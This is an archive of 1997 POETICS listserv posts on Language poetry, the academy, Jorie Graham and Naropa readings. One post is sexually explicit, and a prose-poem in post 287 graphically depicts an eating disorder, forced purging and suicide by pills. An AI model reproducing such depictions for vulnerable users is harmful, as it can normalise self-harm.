To: POETICS @ LISTSERV.ACSU.BUFFALO.EDU
cc: (bcc: Daniel Bouchard/College/hmco)
From: elliza @ AI.MIT.EDU
Date: 07/09/97 04:28:25 PM AST
Subject: dear white male hegemonistic mysogynistsss

we're on to you, all of you, and your flunkies running dog lackies and even that little dog of yours... what was it's name...

yes, YOU

D avid B romige
D oug B arbour
D odie B ellamy (thought you'd fool us with the old gender mask trick...)
D an B ouchard

ha HA! you're unmasked!
e

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276. Tom Mandel

pain...

Wed 9 Jul 1997

I don't know about anyone else, but I'm starting to feel a lot of displeasure, pain might be a better word, in reading the list.

I think it's obvious that Kali Tal's POV is significant, that Kim Dawn's writing has merit, that Mark Weiss is attacking nobody, that David Bromige speaks with large intelligence and generous wit, that Dodie Bellamy writes with a gravity and grace unmistakeable, that... I don't want to leave anyone out, but I'm sure my point must be clear.

Communities are much easier to tear apart than to build. This one has tottered long enough that noone should expect it to be become a stable and founded thing, that probably wouldn't be appropriate. But I think it's about to fall apart altogether, and I wouldn't like that. This is a selfish post, iow.

I hope each of you will think about the most extreme things you want to say, or the most dismissive, or even the most profound, and consider whether they are true or necessary or a contribution. If you are posting long messages three times daily, perhaps you'll even think about cutting down to one every day or so. Can you really have that much to say?

I know the tone of this note is avuncular, but I hope it won't be taken as patronizing. It's not intended that way. And, I'm no fuddy-duddy (except perhaps in using that term!), I've made my points aggressively when I thought I had to or just when I was in a mood to or whatever. I'm not done either, and I don't ask any of you to be done.

Just, right now, lets think about the list in a larger sense and see whether we can find some more productive areas for dialogue. I hope we can.

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

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277. Tom Mandel
lounga platonica
Wed 9 Jul 1997

Unnnh, George, you *may* have misconstrued the title "Platonic" on that lounge?

And, re: David letting the training cat out of the weight bag, *my* trainer is named Talal, and his father was the Saudi ambassador to the U.S. ("before," as Talal says, "it was fashionable"). This kind of thing can happen only in DC.

Talal himself works out 17 minutes a week. Yet he ripples head to foot. When he sits next to a weight machine he gets stronger.

On the other hand, that bruiser Ron Silliman and I used to work out at the same gym on Valencia street in SF, the Sports Palace, also where the US Olympic lifting team trained. The artist Doug Hall, Lyn Hejinian's brother, also worked out there -- to better effect I thought than either Ron or I -- and he did an interesting video about the place.

How many drinks have I had, does anyone know?

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

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278. David Bromige
whi.ma.he.my
Wed 9 Jul 1997

Its worst than t h a t , Elliza Doesplenty! Daniel Bouchard's Canadian speech impediment, reflected in his writing "worth" instead of "worse", prompts me to tell the list that Bowering, too, has the same impairment, & pronounces his own name "Dorge", giving us a further D B. The upper west side accent of the Listmaster, which substitutes "D" for "Ch", Gives us one further D B . Jacques Derrida's folks used to call him "Derrida-garcon," which we translate as Derrida Boy. Then there is, of course, [Kim] D awn B aker. And from your rootsplace Ireland, D anny B oy. We are everywhere; dont bother circling the wagons. db

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279. Pritchett,Pat
*Re: Beckett *1987*/Nielsen 1997*
Wed 9 Jul 1997

Thanks, David. I like "finding a mess for the mess." Actually, now that I think on it more, I believe that Review piece is from 1987 - oops! I'll double check tonight when I get home. And to think I tried how many times to sell that issue to used bookstores. I'd never come across it anywhere else but it certainly sums up "the case" for me and with Beckett's ("sunlight is much overrated, I think") characteristic unfussiness.

Perhaps on a somewhat related note, Aldon Nielsen writes in the most recent River City that "the most exciting poetry today is not a poetry effacing itself before a non-linguistic truth, but a verse in which we read and write the truth *of* poetry." To admit to a certain kind of poverty, if you will, can be, oddly enough, very enriching.

Patrick Pritchett

From: David Bromige
To: POETICS
Subject: Beckett on Art, 1977
Date: Wednesday, July 09, 1997 12:28PM

Pat, thanks for your reports from naropa & particular thanks for posting these 4 lines from the Beckett statement. I know they had wide currency among a number of the poets I've hung out with, & many I havent, but read & continue to read. (I think Coolidge cites the statement with approval someplace : "Finding a form for the mess" (?)) Somewhere i wrote in a poem "Finding a mess for the mess." Yes, it makes sense to read much contemporary writing by this light. Not that sd writing stems necessarily from the Beckett statement, but that--as so often--Beckett articulates what's "in the air", shows us "where we're coming from." Looking for & headed towards,, likewise. David

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280. Hank Lazer
Re: The American poets of TIME
Wed 9 Jul 1997

Read this week's New Yorker. There's a huge article on "the most celebrated poet of her generation": Jorie Graham....

Hank Lazer

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281. **Jordan Davis**
Re: Langpo and the ory
Wed 9 Jul 1997

Matthias --

Because I wasn't there, you can bet I'm speculating my head off. I don't know who was reading what -- except insofar as I can go back to the articles, give dates of key articles and note the writers quoted/stolen from/inspired by there. As I said earlier today, you can count on me for lazy assertions. If it seems clear to Michel that Theory -- which I'm taking as a link, an oppenische metonymy for Derrida -- precedes language writing, then I would feel more comfortable retracting my hunch (can you retract a hunch?) if there were cites, dates, etc. Delmore Schwartz (ever the list's favorite gossip) claims that when he went to T.S. Eliot's place, the pages of Jessie Weston's _Ritual to Romance_ were mainly uncut. Ain't the influence of Reagan great? Anecdotes for everybody! Where was I! Oh! I was saying that "which came first, langpo or theory" would be a great interview question to put to Charles Bernstein, Bruce Andrews, Bob Perelman, Ron Silliman, Susan Howe, Michael Palmer, Clark Coolidge, Jackson Mac Low, Barrett Watten, Carla Harryman, Bernadette Mayer, Haryette Mullen, and the New York Times' favorite language poet, Ann Lauterbach (hi Ann!). (Note well: I am not saying that any of the above listed people are "language poets". I am merely saying that I enjoy reading interviews with these people. You could ask Tom Clark or David Shapiro or John Yau too, of course. Whose interviews are also enjoyable.) I suspect that the answers will vary regionally in tone if not in meaning by the three coasts -- NY, SF, and Detroit.

Again, I am only speculating. Steve Reich, when asked if "Come Out" was the first thing he wrote, said no, of course not, he wrote lots of academic exercises and music-of-a-young-composer pieces that nobody was interested in, but when he wrote "Come Out" people paid attention to him. It may be that Michel is thinking that the proliferation in America of Derrida's work predates significantly the publication of the major works of the language poets. I dunno. I still see the language poets as pretty clearly influenced by the New York School, Black Mountain and (yes) the Beats -- that is, as a post-New American Poetry movement. It's a facile reading, to be sure, and it entirely avoids the issue of language poetry quiddity (thank god).

Getting nowhere and it's getting bright and dark out --
Jordan

↑ Index

282. Karen and Trevor
EPR
Wed 9 Jul 1997

Is EPR still at www.poetry.org/
???

I remember seeing a few posts RE new stuff, but it looks the same to me & the copyright is 1996.

Or am I totally mistaken?

Karen

↑ Index

283. Pritchett,Pat
Re: Naropa readings
Wed 9 Jul 1997

Last Friday, if memory serves:

Keith Abbott opened the evening with several short stories. These were straightforward realistic narratives, frequently funny, somewhat ribald, and tinged with a careful attitude of pathos toward the inevitability of aging and the lot of the working class. "Three things my Irish father instilled in me: a fear of the dark, an eternal mistrust of politicians, and a deep respect for the fishy things in the ocean." The best of these pieces was "Sayonara, Adios, Good-night:" a seemingly biographical account of Abbott's glory days as a high school football player in Washington and his singular encounter with "the man who put death inside me," Clarence Clancy Williams, a freight train of a running back who later went pro and who for sixty minutes on an autumn night more than 20 years ago pounded the knowledge of mortality painfully deep into Abbott's bones.

A very pregnant Wang Ping read next. Her coolly enamelled accounts of life as a child in China during the Cultural Revolution only served to increase the strange horror of hearing how her mother, for instance, was driven through the city streets by teenage Red Guards in a humiliating show of public punishment. "We are nothing but grains and yet all we think of is to crush one another - what is the matter with us?" In another story - the theme again revolving around heartbreak, loss and exile - she demonstrated how the imagination has the power to reshape reality simply by the writing of stories. I don't do it justice - it was both funnier and more poignant than I get across. Her last piece was the somewhat too long "8000 Miles of Clouds & Rain" - an elegy for Allen Ginsberg centering on her work as a translator for Allen at a conference of Chinese poets. A paean to New York City as the exile's paradise, it recounted how AG

flew into a rage when the Chinese poets opined that things were getting better in Tibet and his subsequent apology : "Sorry to yell for Buddha."

Lorenzo Thomas closed the evening with a marvellously warm and expansive reading of new poems - I hope to be collected somewhere soon. From "Morning Raga:" "while you were sleeping undoubtedly some tragedy occured - but somewhere someone is singing." The best title of the night: "The Sadness of Space Exploration," which Lorenzo confessed to having stolen from a student's essay. Though brimming with easy humor, Thomas's reading of life is a deeply moral and compassionate one. One poem, "An Education," described listening to Mingus through the ajar back entrance of the Five Spot. "Hollandaise Salsa" recalled a trip to Amsterdam with fellow poet Ricardo Sanchez. Typical of his generous range of thought and emotion, it was both a critique of colonialism and a postcard of nostalgic wanderlust familiar to anyone who's ever been homesick while abroad: "salsa leaking out the windows of the lost lost in their dreaming - feels like home." A smattering of other lines scribbled in haste: "the heart a speedbag for emotions." "You're not alone as you think. That would be impossible. But God is not a pinch hitter." (Recalls Delmore Schwartz's famous line: "existentialism means nobody else can take a bath for you"). "We have decided everyone has a problem - that's our idea of equality."

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284. George Bowering

Re: The American poets of TIME

Wed 9 Jul 1997

> *Read this week's New Yorker. There's a huge article on "the most celebrated poet of her generation": Jorie Graham....*
>
> *Hank Lazer*

Who is it?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

285. **DS**
Re: dear white male hegemonistic mysogynistsss
Wed 9 Jul 1997

DB is a type of beer down this side of the world. Tends to be avoided by Ladies, Poseurs, Urban Gentry et al. A real bloke drink really. You can still buy it by the big bottle in wooden crates - which also function fine upside down as seats. They have a fairly anti-hegemonic function really -symbols of rural motorbike gang, local pissartist types, and unfortunately make a hell of a lot of money for one prime WMHM (see subject)

So what does this mean?

Dan S

At 04:28 PM 7/9/97 -0400, you wrote:
>we're on to you, all of you, and your flunkies running dog lackies and even
>that little dog of yours... what was it's name...
>
>yes, YOU
>
>D avid B romige
>D oug B arbour
>D odie B ellamy (thought you'd fool us with the old gender mask trick...)
>D an B ouchard
>
>ha HA! you're unmasked!
>e
>
>

↑ Index

286. **Kim Dawn**
w h i t e m a l e b e a u t i e s
Wed 9 Jul 1997

---

o h b o y s l o v e t h o s e r o s e + p u r p l e v e i n e d c o c k s o f y o u r s l i k e t h i c k f u d g e s i c l e s d r o w n i n g i n m o u t h a s o f t e n a s p o s s i b l e t h o u g h a t n i g h t i c r y f o r a l a r g e b r e a s t e d w o m a n t o b e m y w e t n u r s e i t h i n k m e + a r t a u d w o u l d v e g o t t o n a l o n g s m o o t h l y i d l o v e t o v o m i t u p o n h i s p a g e

thankyoutommandelforyourclarity

thankyoualansoldheimforyourrecenttextproseessay i wonder alan if you attempt to bridge the disembodiment of body/voice in cyberspace as perhaps my attempt to bridge between the page/body the written/language.

can speech be articulated through writing?

i wonder how kim + dawn [whover the actual authors are] would feel about their 'pornographic' text [s] being said written by me on this poetics list are we raping them of their identity? can anyone find out who the 'actual' authors of said text are?

↑ Index

287. Stephen C. Ellwood
(no subject)
Wed 9 Jul 1997

OH GOD, I WANT TO BE BEAUTIFUL. I WANT IT

MORE THAN ANYTHING, DANCE RACE, SPEAK OR BE

LOVED. FUCK THIS CAUSE IT'S EVIL AND CAUSE

IT ONLY HAPPENS TO WOMEN. FUCK THIS CAUSE IT'S A MONSTER AND IT

ONLY FEASTS ON THE FLESH OF WOMEN! CALL

ME CLEAR FROM A BURNING CAUSE I'M STILL A LITTLE CHILD AND CAUSE I

DON'T DESERVE IT. WHEN I WAS NINETEEN I WROTE A BOOK ABOUT A

TWENTYFOUR YEAR OLD PROSTITUTE WHO BURNED DOWN

RICH MEN'S HOUSES (SHE

TRIED TO SAVE THE CATS AND DOGS BUT DIDN'T SAVE THE CHILDREN).

THIS YEAR I'M REALLY TWENTY FOUR AND FUNNILY A PROSTITUTE BUT ALL THOSE

FUCKING MANSIONS ARE STILL INTACT. THE ONLY THING THAT'S BURNING IS

MY THROAT FROM QUARTS OF SEMEN TRYING TO

COME TO MAMA. AND THE THROAT ACHES NOW BECAUSE

FIVE MOMENTS AGO I WAS FORCING THE HANDLE OF A FORK TO GET NEXT TO MY

WINDPIPE, POOR

WINDPIPE ALWAYS SOMETHING

TRYING TO GET NEXT TO YOU. IT HURTS. FUCK IT, IT HURTS! I'M

TAKING TO THE STREETS TO SHOUT ABOUT IT, MAYBE I SHOULD

FAKE A NAME, PRETEND IT'S SOMEONE ELSE SO PEOPLE HAVE TO SYMPATHISE.

"LOOK, THERE'S THIS GIRL I KNOW, POOR THING," AND THEN I'LL CALL HER

MARIGOLD, OR SUSAN TO MAKE IT MORE PLAUSIBLE "SHE'S WONDERFULL

BUT SHE'S OBSESSED WITH BEING THIN, SHE CAN'T DESIST. SHE'S TRIED,

I KNOW, WE'RE VERY CLOSE,

BUT THE MINUTE SHE WAKES UP, AND THE

HOURS TILL SHE SLEEPS, SHE CAN THINK OF NOTHING ELSE, AN "OBSESSION" I

SUPPOSE. SHE'S COMPLETELY CONSUMED BY THE FIGHT WITH CONSUMPTION.

SHE HAS SUCH A SWEET NATURE, AND HER INSIGHT IS BLINDING. WHY

MUST SHE STRUGGLE THIS WAY? I LOVE HER, PLEASE, HELP ME TO FREE HER.

WE MUST

FORMULATE A PLAN. CAN YOU FEEL FOR HER? CAN YOU FEEL IT IN YOUR HEART?

SHE'S DYING, I'M AFRAID SHE MIGHT DIE. SHE FEELS HEINOUSLY

UGLY, OBESE BUT

CAN ONLY THINK OF FOOD FOR A REPRIEVE. SHE IS WONDERFULL, I'M

TALKING ABOUT A WONDERFUL BRIGHT AND LOVEABLE GIRL IN

SO MUCH PSYCHOLOGICAL PAIN THAT SHE CAN BARELY FUNCTION IN HER

DAY TO DAY LIFE. DO YOU KNOW THE KIND OF PSYCHOLOGICAL PAIN THAT

PUSHES THROUGH YOUR NERVOUS SYSTEM LIKE INK? THAT KIND.

PLEASE TELL ME THAT IT DOES NOT MATTER TO YOUR HEART IF THE GIRL IN THIS

STORY IS LIGHT AND LOVELY OR GIGANTIC AND PIMPLY. PLEASE TELL ME THAT

YOUR ARMS WILL CONTAIN A

SADNESS ANY SIZE..."

THEY COULD NOT.

THE GIRL IN THIS STORY WHO HAD BEEN OUT THERE TELLING HER

OWN TALE AS SOMEONE ELSE, CAME BACK IN HER HOUSE AND

CREPT UP THE STAIRS, HEA

VING MISERABLE SOBS, ALMOST

VOMITTING FROM GRIEF, BUT THE GUTS WERE PINCHED AND

PUCKERED FROM HER VIOLENT AFTERNOON WITH FORIEGN

OBJECT, FORIEGN ABJECTS, DOWN HER THROAT (THE WINDPIPE GETS

BRUISED AND THE

SALIVA GLANDS SWELL LIKE BAGPIPES, CRY FOR HER FUCKING WINDPIPE, YOU

HEARTLESS ASSHOLES) AND SHE WENT TO HER ROOM AND SHE TOOK

PILLS AND SHE LAID DOWN AND SHE DID

DIE. BECAUSE SHE COULDN'T STAND THE PROSPECT OF A WOMAN'S LIFE

UNROLLING BEFORE HER, IN

WHICH SHE WASN'T BEAUTIFUL, AND SHE COULDN'T DO THE STUPID,

FRUITLESS STRUGGLE BETWEEN HER GIRTH AND HER FOOD

DESIRE ANY LONGER. SO SHE DIED.

↑ Index

288. Thomas Bell
Remarkable Wildlife
Wed 9 Jul 1997

In light of recent "discussions' I thought I would post a query about Graham (see latest "New Yorker) as a forestallment to see if I get any bites:

Richard Howard is quoted on her:

>I find the recent work exceeds my capacity
to

relate
it to experience.

Verbally she has gond beyond my
grasp.<

I'm uncsure what he is talking about. It might concern the rhythms of her recent poetry, but any enlightenment would be appreciated. tom bell

↑ Index

289. Mark Weiss
Re: The American poets of TIME
Wed 9 Jul 1997

At 10:20 PM 7/9/97 -0500, you wrote:
>>Read this week's New Yorker. There's a huge article on "the most
>>celebrated poet of her generation": Jorie Graham....
>>
>>Hank Lazer
>
>
>I tried. I really did. But when I got to the part about her poems being
>"hard to understand" that was a bit hard to take. And when you read quoted
>passages like
>
>how small they seem from here,
>the bobbing universal heads, stuffing
> the void with
>
> eloquence. . .
>
>I'm a bit
>dizzy up here rearranging things,
>they will come up here soon, and
> need a setting for
>
> their fears,
>and loves. . .
>
>

At last! a poet who sounds like a poet! (a bit etherial, a bit fey, nothing to take too seriously)

↑ Index

290. **Daniel Zimmerman**
Re: The American poets of TIME
Wed 9 Jul 1997

Dave Zauhar wrote:
>
> >Read this week's New Yorker. There's a huge article on "the most
> >celebrated poet of her generation": Jorie Graham....
> >
> >Hank Lazer
>
> I tried. I really did. But when I got to the part about her poems being
> "hard to understand" that was a bit hard to take. And when you read quoted
> passages like
>
> how small they seem from here,
> the bobbing universal heads, stuffing
>   the void with
>
>   eloquence. . .
>
> I'm a bit
> dizzy up here rearranging things,
> they will come up here soon, and
>   need a setting for
>
>   their fears,
> and loves. . .
>
> well, anyway, what's the rhetorical term for those cases when the reviewer
> builds up a reader's expectations regarding a particular work, only to
> deflate them by actually quoting the work?
>
> Dave Zauhar

----bait & switch?
Dan Zimmerman

↑ Index

291. Dave Zauhar
Re: The American poets of TIME
Wed 9 Jul 1997

> *Read this week's New Yorker. There's a huge article on "the most celebrated poet of her generation": Jorie Graham....*
>
> *Hank Lazer*

I tried. I really did. But when I got to the part about her poems being "hard to understand" that was a bit hard to take. And when you read quoted passages like

how small they seem from here,
the bobbing universal heads, stuffing
  the void with

    eloquence. . .

I'm a bit
dizzy up here rearranging things,
they will come up here soon, and
      need a setting for

      their fears,
and loves. . .

well, anyway, what's the rhetorical term for those cases when the reviewer builds up a reader's expectations regarding a particular work, only to deflate them by actually quoting the work?

Dave Zauhar

↑ Index

292. George Bowering
Re: dear white male hegemonistic mysogynistsss
Thu 10 Jul 1997

DB is/are the initials of my agent. Maybe I had better check more carefully what it is she is getting me into!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

293. Tom Orange
The American poets of TIME
Thu 10 Jul 1997

Dave Zauhar <[redacted]> asks:
>well, anyway, what's the rhetorical term for those cases when the
>reviewer builds up a reader's expectations regarding a particular work,
>only to deflate them by actually quoting the work?

i know this isn't correct, but anadiplosis *sounds* like the trick.

t.

↑ Index

294. Stephen C. Ellwood
Re: Platonic Lounge
Thu 10 Jul 1997

George Bowering wrote:

"I had the $200, but I used it to pay off the brother of
> that woman that Bromige compromised."

Look, I don't care if it's a joke or not, I don't think it's okay to speak this way.
About paying off brothers or "compromising" women. Okay?

Yours truly,

Emily Vey Duke
>
> This took place, not in any lounge, but at the Drake Street Baths.
>
>
>
>
> George Bowering.
> ,
> 2499 West 37th Ave.,
> Vancouver, B.C.,
> Canada V6M 1P4
>
> fax: [redacted]
> e-mail: [redacted]
>

↑ Index

295. **Alan * Sondheim**
Re: w h i t e m a l e b e a u t i e s
Thu 10 Jul 1997

On Thu, 10 Jul 1997, Kim Dawn wrote:

> *thankyoualansoldheimforyourrecenttextproseessay i wonder alan if you attempt to bridge the disembodiment of body/voice in cyberspace as perhaps my attempt to bridge between the page/body the written/language.*
>
> *can speech be articulated through writing?*

I don't draw these distinctions, or rather let them turn into border- line/ing (or they turn me out); elsewhere I use _inscription_ to repre- sent the nexus of all of these: page/voice/body/langue/virtuality which send _one_ through matrix/mater tendrils.

So I don't speech <articulate> writing, since but spwereicthing, sphere-thing or specular interpenetration. It's not the formation of one by/through/against the other.----------\
\
Or else one turns Dennis Tedlock & many /other/ suspicions.

Alan

↑ Index

296. **Alan * Sondheim**
Slid-Jennifer
Thu 10 Jul 1997

--++--

Slid-Jennifer

Unable to draw a distinction among wire, body, fraud, I die wracked against the triode that belongs to your presence. This is a capability of understanding , Jen- nifer who could not that can occur only after the fact abide to read herwise. But Jennifer- these words would have told you ot disassociationeing that be- longs no long- is true to herself, a beautiful b er stretched aureless; you know who you cross an expanse that remains feat are, and know scribes black lines in thewhat I am. Her blood, my blood, in snow. There arain true to the eternal ase writings which penetrate and rem long as the we that, the other. But then- ather's below freezing. Other than there wouldn't, cozy, turned towards the even be a room for interpretation wall where theair, her call, her inter- chair

was. This was Jennifer's ch pretation. I rsnow fell out, words in ested my case against it; opened, disarray. Jenn me, and that turning fellifer smiled, turned slowly towards towards the asymptote of a complete stop as a black hole opened between us. My clothes fell open, and I could feed her forever. And in that manner of landscape, breasts worthy of slip-fault, milk: desire in the house of death, dead of speaking wires, "Cloth."

↑ Index

297. Layne Russell

poem

Thu 10 Jul 1997

---

an invitation to a
poem about a "death"

Layne
http://www.sonic.net/layne/lastvis.html

↑ Index

298. Layne Russell

sonoma county poets

Thu 10 Jul 1997

Sonoma County, California, poets on web calendar below. Includes David Bromige. He's on the home page, poetry links page, calendar page (two events and link), and the Sonoma Valley Festival page.

For those of you who want to know of David's readings.... (I'm there too, but David is the celebrity around here!)

Layne

http://www.sonic.net/layne
"A Quiet Place" -- Poetry

http://www.sonic.net/layne/calendar.html
"Poets Leave Their Prints" -- Poetry Calendar

↑ Index

299. Robert Archambeau
White Male Hegemonist Club
Thu 10 Jul 1997

I was settling into the vast expanse of my customary brown leather couch in the White Male Hegemonist's Club yesterday, looking forward to a night of port wine and cigars with some of the regulars (George Bush, Donald Trump, John Hollander, Seamus Heaney, George Bowering, Charles Bernstein, Iggy Pop, Gore Vidal, Robert Bork, and others of that ilk and kidney), and I happened to glance up at the gilt-framed oil portraits of past members of our club, all fine chaps, really "our sort" -- Nelson Rockefeller, George Orwell, Jack Kerouac, General Patton, Elvis, Charlie Chaplain, Sir Stephen Spender, Ringo Starr -- and I thought to myself (just as the butler showed up with the evening papers and lit my cigar) I thought wistfully to myself, you know, Archambeau old bean, maybe we are all a bit too much alike, maybe, just maybe, we ought to let a few others join, for a change. And just then the door burst down and the angry crowds were upon us.

--
Robert Archambeau
Department of English
Lake Forest College
Lake Forest, IL 60045
http://www.lfc.edu/~archamb/

See: behind bullet-proof glass, the ruby slippers sparkle.
We do not know the limits of their powers.
We suspect that these limits may not exist.
 --Salman Rushdie

↑ Index

300. Mark Prejsnar
Re: List of Poetry Schools
Thu 10 Jul 1997

Bob G--

I'm sorry you feel I was too harsh. You sure are right to emphasize the question of valuation, too....This just goes to show how suspicious/hostile I am to poetry academe, I guess! (Sour grapes?... Various constraints kept me from ever getting a post-grad degree, and a career as an academic would sure beat the day job I actually have!) Since to you the acadominant label was not primarily a term of abuse, or a sneer, I retract most of what I said...and all of the tone, which I never wanted to seem abusive...(I say *most* since I think we agree to

disagree on whether LP and similar tendencies are more academically-oriented than others..)

Anyway, little that I said could comment as well (in my opinion) as the couple of posts from Silliman. I thought they said a lot of what needed to be said about LP in this context.

I'm sorry though not surprised many berated you for your taxonomic interests, Bob. In theory, I share a little of this suspicion toward poetry systematics....But in practice you've opened up one of the better discussions the list has seen for some time. A tip of the hat Mark P Atlanta

↑ Index

301. Mark Prejsnar

Re: Bob Grumman's list poetic schools / Is Langpo acadominant?

Thu 10 Jul 1997

On Wed, 9 Jul 1997, robert drake wrote:

> *mark--*
>
> *as i was relating th recent discussion to my partner last night, it came out this way: Bob's focus, as a critic, is primarily on visual poetry & other "experimental" forms that are, generally, even less accepted into "academic" discussions than are LangPo... so it may be that, from his perspective, LangPo has been wildly successful at making inroads into the acadamy; while folks (such as yrself? or ron) closer to th movement are more aware of the lack of such inroads, especially in face of the merits ov th work. so if it's the case, that's interesting to me...*

That seems to me a very sharp and helpful observation. Yep, POV is indeed at the root of much of this debate. To so many of us, it's *that other poet (or grouping)* that seems to be *inside* getting goodies. But that other poet feels she's on the outside, and we're inside.

Interesting dynamic, a sort of identity politix of poetry (..as I'm not the first to suggest) Like the tensions between social groups who feel (and are) oppressed, and become polarized and mutually suspicious, rather than uniting. Bob has suggested I misunderstood his meaning, and that the LP/academe identification was never meant to be a put-down; so I guess the whole exchange was partly a demonstartion of this polarizing dynamic...(Tho as I've just posted, he and I still disagree as to whether LP should be identified as having much to do with academe..and if I recall rightly Ron S's post was very good at articulating why I think it doesn't)

Mark P.
atlanta

↑ Index

302. **Mark Prejsnar**
Re: Langpo and the academy
Thu 10 Jul 1997

Fair enough....
As has been pointed out, much of this has a
which-part-of-the-elephant-do-you-have-a-hold-of? quality

To an extent, we disagree 'cause we're looking at slightly different (tho' related) phenomena.

Mark P.
atlanta

On Wed, 9 Jul 1997, Michel Delville wrote:

> *Mark: I was referring to a number of **discourses** that are dominant in the academe at large and, more particularly, in the U.S., which is undoubtedly the biggest world-wide consumer of so-called French or Continental theory . . .*
> *It still seems obvious to me that theory came first and forced a change in the practice of many poets associated with Langpo. Of course, most creative writing programs have not quite adjusted to the age of theory but then again their concerns are not really representative of what's hot in the Humanities today . . . Also, it would be misleading to see this debate over Langpo's collusion with theory and/or the academy exclusively in terms of how many jobs have been offered to Language poets.*
>
> *On Tue, 8 Jul 1997, Michel Delville wrote:*
>
> *socio-cultural practices. The list could go on and on forever . . . To pretend that this has nothing to do with the entrance of U.S. colleges into the intellectual life and creative pratices of poets is simply absurd.*
>
> *Sorry but the the general arguments of your post, Michel, strike me as somewhat more absurd....*
>
> *Most of the poetic tendencies that are seen as alternative to LP (deep image type stuff, the generlized plain-spoken "I" free-verse lyric of APR, etc.) are **far more** anchored in the academy, and dominant there, than is LP.*
>
> ---

Michel Delville
English Department
University of Liège
3, Place Cockerill
4000 LIEGE
(BELGIUM)

Fax: ++ 32(0)4 366 57 21
e-mail: [redacted]

↑ Index

303. David R. Israel
what she said (gratitudes & apologies)
Thu 10 Jul 1997

Here's an "abridged translation" of Kim Dawn's July 10th post. (For full version, naturally you can similarly decipher the original.)

<< ... i think me + artaud would've gotton along smoothly
i'd love to vomit upon his page
surely you jest . . .

thank you tom mandel for your clarity

thank you alan soldheim for your recent text prosees
say i wonder alan if you attempt to bridge the disembodiment of
body/voice in cyberspace as perhaps my attempt to bridge between
the page/body the written/language.
can speech be articulated through writing?

too much too little too late

sorry jay if you felt violenced by earlier posts
which it seems eliza did more so

i am alive and reactionary in my writing
even my first day on the job

dont mean to hurt others
but without the reactionary side
i would never write . . . >>

well said, Kim (if I may venture to so say) . . .

d.i.

(July 10 / Silence Day)
.

.....,
.....,
.....,
.\\\\\\\\\\\\\\\\\\\\/\0/\/////////////////////.....'
.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o....'
.///\\\\\\/////////\/\\\o///\/\\\\\\\\\\/////\\\.....'
.David.....Raphael.....Israel...'
[redacted]..'
[redacted]....'
.*.*.*.*.*.*.*.<0>.*.*.*.*.*.*.*.....'
"...Real life consists of making.....'
others happy. So try to make.....'
others around you happy. Do.....'
not be afraid. All will be well.....'
Do not worry." - Meher Baba.....'
[Lord Meher, Vol. V, p. 1617].....'
.\\\/////\\\\\\\\\/\///&\\\/\/////////\\\\\\///.....'

↑ Index

304. **Mark Prejsnar**

Re: Bob Grumman's list poetic schools / Is Langpo acadomina

Thu 10 Jul 1997

On Wed, 9 Jul 1997, David R. Israel wrote:

> *This nicely brings into focus a basic issue of taxonomy: is such a list intended as a description of the poetry qua poetry, or is it descriptive of the status of the writing / writers within social groupings (etc.)? -- to think of an analogy from natural sciences, is a school (species) defined by its evolutionary origins (here, the nature of the thought & expression that it expresses), or by its environmental placement (here, how it's received, and what evolves from that reception or non-reception)?*

Yep, ...what's interesting (to put your point slightly differently) is how a discussion like this very rapidly gets to a point where the sociology and the nature of the work qua poetry become hopelessly (or rather, hopefully) entangled...

Your Ashbery mention is very apposite. As plenty of people have mentioned in print before this, he is historical monstrosity. **What** are the NY Times and various middlebrow venues, and academe as well, and all the big-name poetry mags and establishment anthologies, doing lionizing this guy?? They'd sooner lose a foot to amputation than give support to any other poet that writes like him! (And while I certainly concur that after Tennis Court Oath he developed in

somewhat less paratactic and hypermodernist directions, I don't subscribe to the idea of a major break in his work--His work ought to be a lot of people's *worst nightmare*... but somehow he's been *disinfected* and accepted by those people as the one token representative of his kind...) So the placement of poetic work and careers, within social space, is very hard to disentangle from the experience of reading (and writing) the poetry itself...

That's a large part of the reason that Bob G's postings have been so interesting and fecund for the list.. they bring those entanglements forward as a subject for discussion..

For the severalth time, I'll recommend Jed Rasula's American Poetry Wax Museum as a fascinating treatment of these issues.

Mark P.

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305. Douglas Barbour
Re: Langpo and the ory
Thu 10 Jul 1997

I am reminded by the discussion of LangPo & the academy, & Jordan Davis's last post, of a visit to the U of A some years ago by that great interpreter of deconstruction, Jonathan Culler, who was giving lectures on poetry, but only poetry of the Romantic period, with an occasional reference to TS Eliot. They were brilliant lectures except for the fact that they seemed totally unaware of the contemporary & recent poetry that seemed to me most open to his thinking. So I asked him why he (& others of his ilk in the Eastern US universities deep into Derrida et.al.) had nothing to say about those poets (I said then) whose work so fitted into their theorizing such as Charles Olson, Robert Creeley, etc (I wasnt then all that aware of the LangPoets by name, & also thought he would at least know the names I mentioned -- but he did not!). He had no answer for me, then, & I'm not sure he would now. So perhaps the question is which *parts* of the academy, or even which academies, are paying attention to the new (recently so) poetics. I do know this: more big publishers publish books on contemporary theory than publish books of contemporary poetry...

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Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]

H: [redacted]
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| "...honk if you believe in geese" |
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307. Aldon L. Nielsen
Re: Acadominatrix
Thu 10 Jul 1997

My problem with "acadmoninant" is unrelated to whether it is thought to be a compliment or a pejorative -- Seemed to me such a term should either mean a poetry dominated by academics (or by the academic) -- or a poetry that is dominant in the academy -- Clearly neither is true of any iteration of LANPO one might care to describe ("My favorite definition still the one offered nearly a deacde ago by Ron Silliman, to the effect that a language poet is anyone who has evern been accused of being a language poet) --

The MIT is to whatever as Buffalo is to the rest won't work for anybody familiar with academic pecking orders --

and it certainly does make a difference which vantage point one chooses from which to view the academy -- I suppose LANPO might appear acadmoninant to anybody visiting Buffalo for a weekend (though it didn't to me) -- but out where the vast majority of teaching is done in this country things couldn't look more different --

____ as to how the pcking order maintains itself impeccably, I here reproduce a letter recently received from a West Coast academy -- since I already have a good job I am able to find this amusing:

Dear Dr. Nielsen:

